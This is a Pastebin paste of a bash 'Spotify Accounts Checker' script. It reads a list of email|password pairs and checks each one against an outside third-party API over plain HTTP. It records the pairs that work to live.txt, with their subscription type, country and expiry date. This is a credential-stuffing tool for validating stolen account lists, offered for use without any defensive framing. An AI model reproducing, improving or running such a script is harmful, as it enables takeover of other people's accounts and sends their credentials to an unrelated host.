Advertisement
rootasuna

Spotify Account Checker Bash

Nov 17th, 2018
6,627
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.62 KB | None | 0 0
  1. #!/bin/bash
  2. waktu=$(date '+%Y-%m-%d %H:%M:%S')
  3. RED="\e[31m"
  4. GREEN="\e[32m"
  5. YELLOW="\e[33m"
  6. CYAN="\e[36m"
  7. LIGHTGREEN="\e[92m"
  8. MARGENTA="\e[35m"
  9. BLUE="\e[34m"
  10. BOLD="\e[1m"
  11. NOCOLOR="\e[0m"
  12. header(){
  13. printf "${GREEN}
  14. ####################################
  15. ####################################
  16. ####### #######
  17. ####### #######${BLUE}
  18. ####### www.tatsumi-crew.net #######
  19. ############### ###############
  20. ############### ###############
  21. ############### ###############
  22. ############### ###############${RED}
  23. ####### #### #### #######
  24. ####### #### #### #######
  25. ####### ############## #######
  26. ####### ############## #######
  27. ####### #######
  28. ####################################
  29. ####################################${NOCOLOR}
  30. ------------------------------------
  31. SPOTIFY ACCOUNTS CHECKER
  32. ------------------------------------
  33. "
  34. }
  35. scanskrng(){
  36. cekvalid=$(curl -s "http://id.nakocoders.org/spotify/api/api.php?emailna=$1&passwordna=$2" --compressed -s);
  37. getakun=$(echo $cekvalid | grep -Po '(?<=subscription":")[^",]*')
  38. country=$(echo $cekvalid | grep -Po '(?<=Country":\[")[^"\[}]*')
  39. expired=$(echo $cekvalid | grep -Po '(?<=Date":\[")[^"\[}]*')
  40. cek=$(echo $cekvalid | grep -Po '(?<=status":)[^}]*' | sed 's/\[\"//g' | sed 's/\"\]//g')
  41. if [[ $cek =~ "success" ]]; then
  42. printf "${GREEN}[LIVE] => $1:$2${NOCOLOR} [TYPE:$getakun][MASA BERLAKU : $expired][NEGARA:$country]\n";
  43. echo "[LIVE] => $1:$2$ [TYPE:$getakun][MASA BERLAKU : $expired][NEGARA:$country]" >> live.txt
  44. printf "${NORMAL}"
  45. else
  46. printf "${RED}[DIE] $1 | $2 [$waktu]\n";
  47. printf "${NORMAL}"
  48. fi
  49. }
  50. header
  51. echo ""
  52. echo "List In This Directory : "
  53. ls
  54. echo "Delimeter list -> email|password"
  55. echo -n "Masukan File List : "
  56. read list
  57. if [ ! -f $list ]; then
  58. echo "$list No Such File"
  59. exit
  60. fi
  61. persend=1 #NOSET BIAR GA KOID
  62. setleep=5 #NOSET BIAR GA KOID
  63. itung=1 #NOSET BIAR GA KOID
  64. IFS=$'\r\n' GLOBIGNORE='*' command eval 'mailist=($(cat $list))'
  65. for (( i = 0; i < ${#mailist[@]}; i++ )); do
  66. set_kirik=$(expr $itung % $persend)
  67. if [[ $set_kirik == 0 && $itung > 0 ]]; then
  68. sleep $setleep
  69. fi
  70. username="${mailist[$i]}"
  71. IFS='|' read -r -a array <<< "$username"
  72. email=${array[0]}
  73. password=${array[1]}
  74.  
  75. scanskrng $email $password&
  76. itung=$[$itung+1]
  77. done
  78. wait
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement